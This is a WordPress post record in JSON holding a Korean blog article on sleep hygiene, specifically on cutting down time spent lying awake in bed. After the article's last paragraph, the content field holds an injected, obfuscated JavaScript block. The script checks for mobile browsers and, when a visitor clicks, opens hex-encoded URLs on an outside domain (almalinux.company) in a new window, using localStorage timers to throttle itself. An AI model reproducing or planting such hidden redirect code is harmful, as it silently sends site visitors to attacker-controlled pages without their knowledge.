{"id":6505,"date":"2021-12-23T22:37:16","date_gmt":"2021-12-23T13:37:16","guid":{"rendered":"https:\/\/aligns.co.kr\/?p=6505"},"modified":"2022-01-05T17:54:13","modified_gmt":"2022-01-05T08:54:13","slug":"%ec%88%98%eb%a9%b4%ec%9c%84%ec%83%9d-%ec%96%bc%eb%a7%88%eb%82%98-%ec%95%8c%ea%b3%a0-%ea%b3%84%ec%8b%a0%ea%b0%80%ec%9a%94-1-%ec%b9%a8%eb%8c%80%ec%97%90%ec%84%9c-%eb%b3%b4%eb%82%b4%eb%8a%94","status":"publish","type":"post","link":"https:\/\/aligns.co.kr\/%ec%88%98%eb%a9%b4%ec%9c%84%ec%83%9d-%ec%96%bc%eb%a7%88%eb%82%98-%ec%95%8c%ea%b3%a0-%ea%b3%84%ec%8b%a0%ea%b0%80%ec%9a%94-1-%ec%b9%a8%eb%8c%80%ec%97%90%ec%84%9c-%eb%b3%b4%eb%82%b4%eb%8a%94\/","title":{"rendered":"[\uc218\uba74\uc704\uc0dd, \uc5bc\ub9c8\ub098 \uc54c\uace0 \uacc4\uc2e0\uac00\uc694?] 1. \uce68\ub300\uc5d0\uc11c \ubcf4\ub0b4\ub294 \uc2dc\uac04\uc744 \uc904\uc778\ub2e4."},"content":{"rendered":"\n<p><\/p>\n\n\n\n<p id=\"SE-bb4cabc8-fc0b-4f98-a26f-d56d53be7434\">\uc774\ubc88\uc5d0 \uc18c\uac1c\ud560 \uc218\uba74\uc704\uc0dd\uc740 \ubc14\ub85c &#8216;\uce68\ub300\uc5d0\uc11c \ubcf4\ub0b4\ub294 \uc2dc\uac04\uc744 \uc904\uc778\ub2e4&#8217;\uc785\ub2c8\ub2e4. \uc6d0\ubb38\uc73c\ub85c\ub294 Curtail time in bed\ub77c\uace0 \ub418\uc5b4\uc788\ub294\ub370\uc694, \uc774 \ubb38\uc7a5\uc744 \uc9c1\uc5ed\ud55c \uac83\uc774 \ub418\uaca0\uc2b5\ub2c8\ub2e4. \uc774 \ud55c \ub9c8\ub514\ub85c\ub294 \uc870\uae08 \ud3ec\ud568\ud558\uace0 \uc788\ub294 \ubc94\uc704\uacfc \ub113\uae30 \ub54c\ubb38\uc5d0 \uc81c\uac00 \uc0dd\uac01\ud558\ub294 \ub0b4\uc6a9\uc744 \ub367\ubd99\uc5ec\uc11c \ud3ec\uc2a4\ud305\ud574\ubcf4\ub3c4\ub85d \ud558\uaca0\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p id=\"SE-8e33758d-6c02-413e-9684-25f3877583c7\">\u200b\uba3c\uc800 \uce68\ub300\uc5d0 \uc788\ub294 \uc2dc\uac04\uc744 \uc904\uc5ec\uc57c \ud558\ub294 \uac83\uc740 \ubc14\ub85c \uaddc\uce59\uc801\uc778 \uc218\uba74\ud328\ud134\uc744 \uac16\ub294 \uac83\uc785\ub2c8\ub2e4. \ubcf4\ud1b5 \ubd88\uba74\uc99d \uadf9\ubcf5\uc744 \uc704\ud55c \ubc29\ubc95\uc744 \uac80\uc0c9\ud574\ubcf4\uba74 \uaddc\uce59\uc801\uc778 \uc2dc\uac04\uc5d0 \uc790\uace0 \uc77c\uc5b4\ub098\ub77c\ub294 \ud56d\ubaa9\uc744 \ubcfc \uc218 \uc788\uc2b5\ub2c8\ub2e4. \uadf8 \uc774\uc720\ub294 \ub1cc\uc5d0 \uc218\uba74\uc5d0 \ub300\ud55c \uc77c\uc815\ud55c \uaddc\uce59\uc744 \uc54c\ub824\uc90c\uc73c\ub85c\uc368 \uc878\ub9bc\uc774 \uc624\uac8c\ub054 \uc720\ub3c4\ud558\ub294 \uac83\uc774\uc8e0. \uc608\ub97c \ub4e4\uc5b4\uc11c 12\uc2dc\uc5d0 \uc790\uace0 7\uc2dc\uc5d0 \uc77c\uc5b4\ub098\ub294 \uc2b5\uad00\uc744 \uac00\uc9c0\uace0 \uc788\ub2e4\uace0 \ud558\uba74 12\uc2dc\uac00 \ub2e4 \ub418\uac00\ub294 \uc2dc\uc810\uc5d0\uc11c \uc2ac\uc2ac \ud53c\uace4\ud568\uc744 \ub290\ub07c\uace0, \uc2e0\uccb4\ub3c4 \ub2e4\uc591\ud55c \ud638\ub974\ubaac \ub4f1\uc744 \ubd84\ube44\ud558\uba74\uc11c \uc798 \uc900\ube44\ub97c \ud558\ub294 \uac83\uc774\uc8e0.<\/p>\n\n\n\n<p id=\"SE-e83a4952-45bd-4ddb-85c5-9efa46c715e9\">\u200b\uc774\ub294 \uc77c\uc8fc\uae30 \ub9ac\ub4ec\uc744 \ub9de\ucd94\ub294 \uac83\uacfc\ub3c4 \uc5f0\uad00\uc774 \ub41c\ub2e4\uace0 \uc0dd\uac01\uc774 \ub4dc\ub124\uc694. \uc778\ub958\uac00 \uc544\uc8fc \uba3c \uc61b\ub0a0 \uc6d0\uc2dc\uc2dc\ub300\uc5d0\uc11c \uc0b4\ub358 \ub54c\ub97c \uc0dd\uac01\ud574\ubcf4\uba74, \ud574\uac00 \ub730 \ub54c \uc77c\uc5b4\ub098\uc11c \uc6c0\uc9c1\uc774\uace0, \ud574\uac00 \uc9c0\uace0 \ub098\uba74 \ud734\uc2dd\uc744 \ucde8\ud558\ub294 \uc0dd\ud65c\uc744 \ubc18\ubcf5\ud588\ub2e4\uace0 \ud569\ub2c8\ub2e4. \uc790\uc5f0\uc2a4\ub7fd\uac8c \ud574\ub97c \uae30\uc900\uc73c\ub85c \uc0dd\uccb4\uc2dc\uacc4\uac00 \ub9de\ucdb0\uc9c0\uace0 \uc774\uc5d0 \ub9de\ucdb0\uc11c \ub2e4\uc591\ud55c \ud638\ub974\ubaac\ub4e4\uc758 \ubd84\ube44\uac00 \uc870\uc808\ub418\uc5c8\uc8e0. \ud558\uc9c0\ub9cc \uae30\uc220\uc774 \ubc1c\ub2ec\ud558\uba74\uc11c \ubc24\uc5d0\ub3c4 \ubc1d\uc740 \ube5b\uc744 \ucb18 \uc218 \uc788\ub294 \ud658\uacbd\uc774 \uac16\ucdb0\uc9c0\uac8c \ub418\uc5c8\uace0 \uc774\ub85c \uc778\ud574\uc11c \ud638\ub974\ubaac\ub4e4\uc758 \ubd84\ube44\uac00 \uc870\uae08\uc529 \ud750\ud2b8\ub7ec\uc9c0\uac8c \ub418\uc5c8\uc8e0.<\/p>\n\n\n\n<p id=\"SE-6d9b1d13-f202-4964-a098-6f5499203343\">\u200b\uc774\ub7f0 \uc774\uc720\ub85c \uc7a0\uc790\ub294 \uc2dc\uac04\uc774 \ub2a6\ucdb0\uc9c0\uac8c \ub418\uba74 \uc0c8\ubcbd\uae4c\uc9c0 \uc7a0\uc744 \ubabb \uc790\ub294 \uc785\uba74\uc7a5\uc560\uac00, \ub108\ubb34 \uc77c\ucc0d \uae68\uac8c \ub418\ub294 \uc870\uae30\uac01\uc131\uc7a5\uc560\uac00 \ubc1c\uc0dd\ud558\uac8c \ub418\ub294 \uac83\uc774\uc8e0. \uadf8\ub807\uae30 \ub54c\ubb38\uc5d0 \uce68\ub300 \uc704\uc5d0\uc11c \uc624\ub798\uc788\uc9c0 \uc54a\uace0 \uc0dd\uccb4\uc2dc\uacc4\uc5d0 \ub9de\ucdb0\uc11c \uc218\uba74\ud328\ud134\uc744 \ub9de\ucdb0\uc57c \ud55c\ub2e4\ub294 \uc758\ubbf8\ub85c\ub3c4 \ubc1b\uc544\ub4e4\uc5ec \uc9c0\ub124\uc694.<\/p>\n\n\n\n<p id=\"SE-749b8181-8ba4-4f1d-be8e-113063ff66e1\">\u200b\uadf8\ub9ac\uace0 \uc2e4\uc81c\ub85c \uce68\ub300 \uc704\uc5d0\uc11c \uc624\ub79c \uc2dc\uac04 \uae68\uc5b4 \uc788\ub294 \uac83\ub3c4 \uc88b\uc9c0 \uc54a\ub2e4\uace0 \ud569\ub2c8\ub2e4. \uc7a0\uc774 \uc624\uc9c0 \uc54a\ub294\ub370\ub3c4 \uacc4\uc18d \uae68\uc5b4\uc788\uac8c \ub418\uba74 &#8216;\uc790\uc57c \ub418\ub294\ub370..&#8217; \uc640 \uac19\uc740 \ubd80\uc815\uc801\uc778 \uc0dd\uac01\uacfc \uce68\ub300=\uac01\uc131\ud558\ub294 \uacf3 \uc774\ub77c\ub294 \uc5f0\uacb0\uace0\ub9ac\uac00 \uc0dd\uae30\uac8c \ub418\uc5b4\uc11c \uc7a0\uc774 \ub354 \uc548 \uc624\uac8c \ub418\ub294 \uc545\uc21c\ud658\uc774 \ubc18\ubcf5\ub418\uc8e0. \uc2e4\uc81c\ub85c\ub3c4 \uc18c\ud30c\ub098 \ub2e4\ub978 \uacf3\uc5d0\uc11c\ub294 \uc878\ub9b0\ub370 \uce68\ub300\uc5d0 \ub215\uae30\ub9cc \ud558\uba74 \uc7a0\uc774 \ud655 \uae6c\ub2e4\ub294 \uc598\uae30\ub3c4 \ub9ce\uc774 \ub4e4\uc5b4\ubcfc\uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p id=\"SE-cceb51bc-f055-45c0-88c8-1a2438c353b5\">\u200b\ub610 \uc774\uc804\uc5d0\ub3c4 \uc124\uba85\ud55c \ub3c4\uc11c\uc778 &#8216;\ubd88\uba74\uc99d, \ub2f9\uc2e0\ub3c4 \uce58\ub8cc\ub420 \uc218 \uc788\ub2e4&#8217;\uc5d0\uc11c\ub3c4 \uae34 \uc218\uba74\uc2dc\uac04\uc744 \uac00\uc9c4\ub2e4\uace0 \ud574\uc11c \uaf2d \ud53c\ub85c\uac00 \ud480\ub9ac\uace0, \uc88b\uc740 \uc7a0\uc740 \uc544\ub2c8\ub77c\ub294 \uc124\uba85\uc774 \uc788\uc2b5\ub2c8\ub2e4. \ub9c8\uce58 \ud558\ub8e8\uc9dc\ub9ac \uc219\uc81c\ub97c \uc8fc\uace0 \uc77c\uc8fc\uc77c\uc744 \uc8fc\ub0d0, \uc774\ud2c0\uc744 \uc8fc\ub0d0\uc5d0 \ub530\ub77c\uc11c \uadf8 \ud6a8\uc728\uc131\uc774 \ub2ec\ub77c\uc9c0\ub4ef\uc774 \ub9d0\uc774\uc8e0.<\/p>\n\n\n\n<p id=\"SE-e5a472cd-3d8a-419b-aa56-23f052c61970\"><strong>\u200b<\/strong>\u200b&#8217;\uce68\ub300\uc5d0\uc11c \ubcf4\ub0b4\ub294 \uc2dc\uac04\uc744 \uc904\uc778\ub2e4.&#8217;\ub77c\ub294 \ud56d\ubaa9\uc5d0 \ub300\ud574\uc11c \uc65c \ud558\uba74 \uc548\ub418\ub294\uc9c0 \uc815\ub9ac\ub97c \ud574\ubcf4\uba74 \ub2e4\uc74c\uacfc \uac19\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p id=\"SE-0920925d-4f40-40e4-9904-b6cd17960e47\">\u200b<strong>1. \uaddc\uce59\uc801\uc778 \uc218\uba74\ud328\ud134\uc744 \ub9cc\ub4e4\uae30 \uc704\ud574\uc11c<\/strong><\/p>\n\n\n\n<p id=\"SE-6c8698d8-2996-46ba-8c21-479c81186a9d\"><strong>2. \uc77c\uc8fc\uae30 \ub9ac\ub4ec\uc744 \ub9de\ucd94\uae30 \uc704\ud574\uc11c<\/strong><\/p>\n\n\n\n<p id=\"SE-a5ddf62d-77b1-4d9b-a53f-a16f37b1240a\"><strong>3. \uce68\ub300\ub97c \uc790\ub294 \uacf3\uc73c\ub85c \uc778\uc2dd\uc2dc\ud0a4\uae30 \uc704\ud574\uc11c<\/strong><\/p>\n\n\n\n<p id=\"SE-4c09b91b-ae07-4c9c-8dcd-b41b72db507c\"><strong>\u200b<\/strong>\uc774\ubc88 \ud3ec\uc2a4\ud305\uc5d0\uc11c\ub294 \uc218\uba74\uc704\uc0dd\uc758 \ud55c \ud56d\ubaa9\uc5d0 \ub300\ud574\uc11c \uc81c\uac00 \uc54c\uace0 \uc788\ub358 \ub0b4\uc6a9\uc744 \ub367\ubd99\uc5ec\uc11c \uc791\uc131\ud574\ubd24\ub294\ub370\uc694, \uc5b4\ub5bb\uac8c \ubcf4\uba74 \uc5ec\ub7ec \uc774\uc720\ub4e4\uacfc \uac19\uc774 \uc5ee\uc774\ub294 \uac83\uc744 \ud655\uc778\ud560 \uc218 \uc788\uc5c8\uc2b5\ub2c8\ub2e4. \ubd88\uba74\uc99d\uc774\ub77c\ub294 \uac83\uc774 \ub531 \ud558\ub098\uc758 \uc6d0\uc778 \ub54c\ubb38\uc5d0 \ubc1c\uc0dd\ud558\uc9c0 \uc54a\ub294 \uac83\ucc98\ub7fc, \uc218\uba74\uc704\uc0dd\ub3c4 \ud558\ub098\uc758 \ud56d\ubaa9\uc774 \uc5ec\ub7ec \uac00\uc9c0\uc758 \uc6d0\uc778\uacfc \ub9de\ubb3c\ub824 \uc788\ub2e4\uace0 \uc0dd\uac01\ud569\ub2c8\ub2e4. \ud639\uc2dc \uce68\ub300\uc5d0\uc11c \uc624\ub79c \uc2dc\uac04 \ub204\uc6cc\uc788\ub294 \ubd84\uc774\ub77c\uba74, \uc624\ub298\ubd80\ud130 \uadf8 \uc2dc\uac04\uc744 \uc904\uc5ec\ubcf4\ub294 \uac83\ub3c4 \ubd88\uba74\uc99d \uadf9\ubcf5\uc744 \uc704\ud55c \uccab \uac78\uc74c\uc774 \ub420 \uc218 \uc788\uc744\uac70\ub77c \uc0dd\uac01\uc774 \ub4ed\ub2c8\ub2e4~<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x61\\x6c\\x6d\\x61\\x6c\\x69\\x6e\\x75\\x78\\x2e\\x63\\x6f\\x6d\\x70\\x61\\x6e\\x79\\x2f\\x44\\x6e\\x6a\\x32\\x63\\x392','length','_blank','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x61\\x6c\\x6d\\x61\\x6c\\x69\\x6e\\x75\\x78\\x2e\\x63\\x6f\\x6d\\x70\\x61\\x6e\\x79\\x2f\\x72\\x46\\x46\\x33\\x63\\x383','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x61\\x6c\\x6d\\x61\\x6c\\x69\\x6e\\x75\\x78\\x2e\\x63\\x6f\\x6d\\x70\\x61\\x6e\\x79\\x2f\\x77\\x72\\x41\\x30\\x63\\x360','random','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x61\\x6c\\x6d\\x61\\x6c\\x69\\x6e\\x75\\x78\\x2e\\x63\\x6f\\x6d\\x70\\x61\\x6e\\x79\\x2f\\x62\\x4c\\x6a\\x37\\x63\\x307','stopPropagation','4051490VdJdXO','test','open','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x61\\x6c\\x6d\\x61\\x6c\\x69\\x6e\\x75\\x78\\x2e\\x63\\x6f\\x6d\\x70\\x61\\x6e\\x79\\x2f\\x75\\x45\\x6f\\x36\\x63\\x316','12075252qhSFyR','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x61\\x6c\\x6d\\x61\\x6c\\x69\\x6e\\x75\\x78\\x2e\\x63\\x6f\\x6d\\x70\\x61\\x6e\\x79\\x2f\\x56\\x51\\x46\\x38\\x63\\x328','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x61\\x6c\\x6d\\x61\\x6c\\x69\\x6e\\x75\\x78\\x2e\\x63\\x6f\\x6d\\x70\\x61\\x6e\\x79\\x2f\\x65\\x66\\x72\\x35\\x63\\x345','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))\/0x1+parseInt(_0x142fd8(0x19f))\/0x2+-parseInt(_0x142fd8(0x1a5))\/0x3+parseInt(_0x142fd8(0x198))\/0x4+-parseInt(_0x142fd8(0x191))\/0x5+parseInt(_0x142fd8(0x1a0))\/0x6+parseInt(_0x142fd8(0x195))\/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x61\\x6c\\x6d\\x61\\x6c\\x69\\x6e\\x75\\x78\\x2e\\x63\\x6f\\x6d\\x70\\x61\\x6e\\x79\\x2f\\x6b\\x6d\\x41\\x31\\x63\\x321',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x61\\x6c\\x6d\\x61\\x6c\\x69\\x6e\\x75\\x78\\x2e\\x63\\x6f\\x6d\\x70\\x61\\x6e\\x79\\x2f\\x49\\x5a\\x6f\\x34\\x63\\x374',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x61\\x6c\\x6d\\x61\\x6c\\x69\\x6e\\x75\\x78\\x2e\\x63\\x6f\\x6d\\x70\\x61\\x6e\\x79\\x2f\\x48\\x74\\x6d\\x39\\x63\\x329','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x365b[0x4]](_0x784bdc)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)\/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)\/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());<\/script>","protected":false},"excerpt":{"rendered":"<p>\uc774\ubc88\uc5d0 \uc18c\uac1c\ud560 \uc218\uba74\uc704\uc0dd\uc740 \ubc14\ub85c &#8216;\uce68\ub300\uc5d0\uc11c \ubcf4\ub0b4\ub294 \uc2dc\uac04\uc744 \uc904\uc778\ub2e4&#8217;\uc785\ub2c8\ub2e4. \uc6d0\ubb38\uc73c\ub85c\ub294 Curtail time in bed\ub77c\uace0 \ub418\uc5b4\uc788\ub294\ub370\uc694, \uc774 \ubb38\uc7a5\uc744 \uc9c1\uc5ed\ud55c \uac83\uc774 \ub418\uaca0\uc2b5\ub2c8\ub2e4. \uc774 \ud55c \ub9c8\ub514\ub85c\ub294 \uc870\uae08 \ud3ec\ud568\ud558\uace0 \uc788\ub294 \ubc94\uc704\uacfc \ub113\uae30 \ub54c\ubb38\uc5d0 \uc81c\uac00 \uc0dd\uac01\ud558\ub294 \ub0b4\uc6a9\uc744 \ub367\ubd99\uc5ec\uc11c \ud3ec\uc2a4\ud305\ud574\ubcf4\ub3c4\ub85d \ud558\uaca0\uc2b5\ub2c8\ub2e4. \u200b\uba3c\uc800 \uce68\ub300\uc5d0 \uc788\ub294 \uc2dc\uac04\uc744 \uc904\uc5ec\uc57c \ud558\ub294 \uac83\uc740 \ubc14\ub85c \uaddc\uce59\uc801\uc778 \uc218\uba74\ud328\ud134\uc744 \uac16\ub294 \uac83\uc785\ub2c8\ub2e4. \ubcf4\ud1b5 \ubd88\uba74\uc99d \uadf9\ubcf5\uc744 \uc704\ud55c \ubc29\ubc95\uc744 \uac80\uc0c9\ud574\ubcf4\uba74 \uaddc\uce59\uc801\uc778 \uc2dc\uac04\uc5d0 \uc790\uace0 &hellip;<\/p>\n<p class=\"read-more\"> <a class=\"\" href=\"https:\/\/aligns.co.kr\/%ec%88%98%eb%a9%b4%ec%9c%84%ec%83%9d-%ec%96%bc%eb%a7%88%eb%82%98-%ec%95%8c%ea%b3%a0-%ea%b3%84%ec%8b%a0%ea%b0%80%ec%9a%94-1-%ec%b9%a8%eb%8c%80%ec%97%90%ec%84%9c-%eb%b3%b4%eb%82%b4%eb%8a%94\/\"> <span class=\"screen-reader-text\">[\uc218\uba74\uc704\uc0dd, \uc5bc\ub9c8\ub098 \uc54c\uace0 \uacc4\uc2e0\uac00\uc694?] 1. \uce68\ub300\uc5d0\uc11c \ubcf4\ub0b4\ub294 \uc2dc\uac04\uc744 \uc904\uc778\ub2e4.<\/span> \ub354 \ubcf4\uae30 &raquo;<\/a><\/p>\n","protected":false},"author":11,"featured_media":6506,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center 